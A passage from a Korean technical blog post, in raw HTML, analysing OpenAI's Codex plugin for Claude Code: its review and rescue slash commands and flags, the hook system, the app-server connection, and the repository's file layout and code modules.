&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:adversarial-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설계 가정을 공격적으로 질문&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안 민감 코드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:adversarial-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;7개 공격 면 기반 심층 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;review는 &quot;이 코드에 문제가 있는가?&quot;에 집중하고, adversarial-review는 &quot;이 설계가 실패할 수 있는 곳은 어디인가?&quot;에 집중한다. 일반 리뷰에는 review, 설계 결정을 검증해야 할 때는 adversarial-review가 적합하다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트 ②: 실행 모드 선택 (두 명령어 공통 적용)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;플래그&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빠른 확인 (1~2 파일)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;동기 실행으로 즉시 결과 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대규모 변경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비동기 실행 권장, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:status&lt;/code&gt;로 결과 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt; 플래그는 review와 adversarial-review 모두에 동일하게 적용된다. 예: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:adversarial-review --wait&lt;/code&gt;도 유효하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQYyvW/dJMcaiCL8Mo/WYKSrakrvu541nFtDCzNdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQYyvW/dJMcaiCL8Mo/WYKSrakrvu541nFtDCzNdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQYyvW/dJMcaiCL8Mo/WYKSrakrvu541nFtDCzNdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQYyvW%2FdJMcaiCL8Mo%2FWYKSrakrvu541nFtDCzNdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2016&quot; height=&quot;1100&quot; data-origin-width=&quot;2016&quot; data-origin-height=&quot;1100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-3. /codex:rescue &amp;mdash; 작업 위임&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;조사, 수정, 후속 작업을 Codex 서브에이전트에 위임한다.&amp;nbsp;review와 달리 &lt;b&gt;기본 write 모드&lt;/b&gt;로 실행된다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt; &amp;mdash; 비동기/동기 실행&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--resume&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--fresh&lt;/code&gt; &amp;mdash; 이전 작업 이어하기 또는 새로 시작&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model &amp;lt;model|spark&amp;gt;&lt;/code&gt; &amp;mdash; 모델 선택. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;spark&lt;/code&gt;은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/code&gt;으로 매핑된다&amp;nbsp;&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--effort &amp;lt;none|minimal|low|medium|high|xhigh&amp;gt;&lt;/code&gt; &amp;mdash; reasoning effort 6단계 설정&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-4. /codex:status &amp;mdash; 작업 현황&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;현재 및 완료된 Codex 작업을 표시한다. review-gate 상태도 포함한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-5. /codex:result &amp;mdash; 결과 확인&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;완료된 작업의 최종 출력을 축약 없이 전부 표시한다. verdict, summary, findings, details, artifacts, next steps 등 모든 페이로드를 보존한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-6. /codex:cancel &amp;mdash; 작업 취소&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;활성 백그라운드 Codex 작업을 종료한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-7. /codex:setup &amp;mdash; 초기 설정&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex CLI 상태를 확인하고 Review Gate를 제어한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q4Thq/dJMcaiCL82Y/zSQaxY6K9NNfPGtUqlccdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q4Thq/dJMcaiCL82Y/zSQaxY6K9NNfPGtUqlccdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q4Thq/dJMcaiCL82Y/zSQaxY6K9NNfPGtUqlccdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq4Thq%2FdJMcaiCL82Y%2FzSQaxY6K9NNfPGtUqlccdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1092&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--enable-review-gate&lt;/code&gt; &amp;mdash; Review Gate 활성화&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--disable-review-gate&lt;/code&gt; &amp;mdash; Review Gate 비활성화&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;Codex 미설치 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;npm install -g @openai/codex&lt;/code&gt; 설치를 제안한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;미인증 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;!codex login&lt;/code&gt;(Claude Code 셸 이스케이프)을 안내한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기술 아키텍처 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude Code Plugin System 구조&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 플러그인은 Claude Code의 네이티브 Plugin System을 사용한다. 전체 구조는 다음과 같다:&lt;/p&gt;
&lt;pre class=&quot;crystal&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;marketplace.json (마켓플레이스 등록)
  └&amp;rarr; plugin.json (플러그인 메타데이터)
       ├&amp;rarr; commands/ (7개 슬래시 명령어 정의 &amp;mdash; .md)
       ├&amp;rarr; hooks/ (hooks.json &amp;mdash; SessionStart/SessionEnd/Stop)
       ├&amp;rarr; agents/ (codex-rescue 서브에이전트 &amp;mdash; .md)
       ├&amp;rarr; skills/ (3개 스킬 &amp;mdash; SKILL.md)
       ├&amp;rarr; prompts/ (adversarial-review 전용 프롬프트 &amp;mdash; .md, review는 commands/review.md에 인라인 정의)
       ├&amp;rarr; schemas/ (review-output.schema.json)
       └&amp;rarr; scripts/ (codex-companion.mjs + lib/ 모듈 14개)&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;명령어와 에이전트는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;.md&lt;/code&gt; 파일로 선언적 정의하고, 실제 실행 로직은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;scripts/&lt;/code&gt; 하위의 JavaScript 모듈이 담당한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex App Server 연동&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인은 로컬에 설치된 Codex CLI(&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;codex app-server&lt;/code&gt;)를 래핑하여 JSON-RPC 프로토콜로 통신한다. 별도 런타임이 아닌 사용자의 로컬 Codex CLI를 사용하는 구조다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;연결 전략은 두 가지다:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;SpawnedCodexAppServerClient&lt;/b&gt; &amp;mdash; 직접 프로세스 스폰 (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;transport: &quot;direct&quot;&lt;/code&gt;)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;BrokerCodexAppServerClient&lt;/b&gt; &amp;mdash; 브로커 소켓 연결 (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;transport: &quot;broker&quot;&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;초기화 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;initialize&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;initialized&lt;/code&gt; 핸드셰이크를 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hook 시스템&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/hooks/hooks.json&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;hooks.json&lt;/a&gt;은 3가지 훅을 정의한다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;훅&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;스크립트&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;타임아웃&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SessionStart&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;session-lifecycle-hook.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5초&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;환경 변수 설정 (세션 ID)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SessionEnd&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;session-lifecycle-hook.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5초&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브로커 셧다운, 세션 작업 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Stop&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;stop-review-gate-hook.mjs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;900초 (15분)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Review Gate 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;SessionStart에서 환경 변수를 설정하고, SessionEnd에서 브로커 셧다운과 세션 작업 정리를 수행한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Stop 훅은 Review Gate 전용으로 15분의 넉넉한 타임아웃을 가진다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 5 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 소스코드 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;파일 트리 구조&lt;/h3&gt;
&lt;pre class=&quot;crystal&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;openai/codex-plugin-cc/
├── .claude-plugin/
│   └── marketplace.json          # 마켓플레이스 등록 정보
├── plugins/codex/
│   ├── .claude-plugin/
│   │   └── plugin.json           # 플러그인 메타데이터
│   ├── commands/                  # 7개 슬래시 명령어 (.md)
│   │   ├── review.md
│   │   ├── adversarial-review.md
│   │   ├── rescue.md
│   │   ├── status.md
│   │   ├── result.md
│   │   ├── cancel.md
│   │   └── setup.md
│   ├── agents/
│   │   └── codex-rescue.md       # rescue 서브에이전트
│   ├── hooks/
│   │   └── hooks.json            # 3개 라이프사이클 훅
│   ├── skills/
│   │   ├── codex-cli-runtime/SKILL.md
│   │   ├── codex-result-handling/SKILL.md
│   │   └── gpt-5-4-prompting/SKILL.md
│   ├── prompts/                   # adversarial-review 전용 (review 프롬프트는 commands/review.md에 인라인)
│   │   └── adversarial-review.md
│   ├── schemas/
│   │   └── review-output.schema.json
│   └── scripts/
│       ├── codex-companion.mjs   # 메인 CLI 엔트리포인트
│       ├── session-lifecycle-hook.mjs
│       ├── stop-review-gate-hook.mjs
│       └── lib/                   # 14개 유틸리티 모듈
│           ├── app-server.mjs
│           ├── args.mjs
│           ├── broker-endpoint.mjs
│           ├── broker-lifecycle.mjs
│           ├── codex.mjs
│           ├── fs.mjs
│           ├── git.mjs
│           ├── job-control.mjs
│           ├── process.mjs
│           ├── prompts.mjs
│           ├── render.mjs
│           ├── state.mjs
│           ├── tracked-jobs.mjs
│           └── workspace.mjs
└── package.json                   # @openai/codex-plugin-cc v1.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;codex-companion.mjs &amp;mdash; 메인 엔트리포인트&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;메인 CLI 엔트리포인트로 9개 서브커맨드를 처리한다:&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;setup&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;review&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;adversarial-review&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;task&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;task-worker&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;status&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;result&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;task-resume-candidate&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;cancel&lt;/code&gt;.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;review/adversarial-review는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;sandbox: &quot;read-only&quot;&lt;/code&gt;로 실행되고,&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;task(rescue)는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;sandbox: request.write ? &quot;workspace-write&quot; : &quot;read-only&quot;&lt;/code&gt;로 실행된다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;기본적으로 rescue는 write 모드이다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;background 작업은 detached child process로 실행되며, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;task-worker&lt;/code&gt; 서브커맨드가 실제 작업을 처리한다.&lt;/p&gt;
&lt;pre class=&quot;dart&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;// codex-companion.mjs &amp;mdash; 모델 별칭과 reasoning effort 검증
const MODEL_ALIASES = new Map([[&quot;spark&quot;, &quot;gpt-5.3-codex-spark&quot;]]);
const VALID_REASONING_EFFORTS = new Set([
  &quot;none&quot;, &quot;minimal&quot;, &quot;low&quot;, &quot;medium&quot;, &quot;high&quot;, &quot;xhigh&quot;
]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;lib/ 주요 모듈 역할&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;모듈&lt;/th&gt;
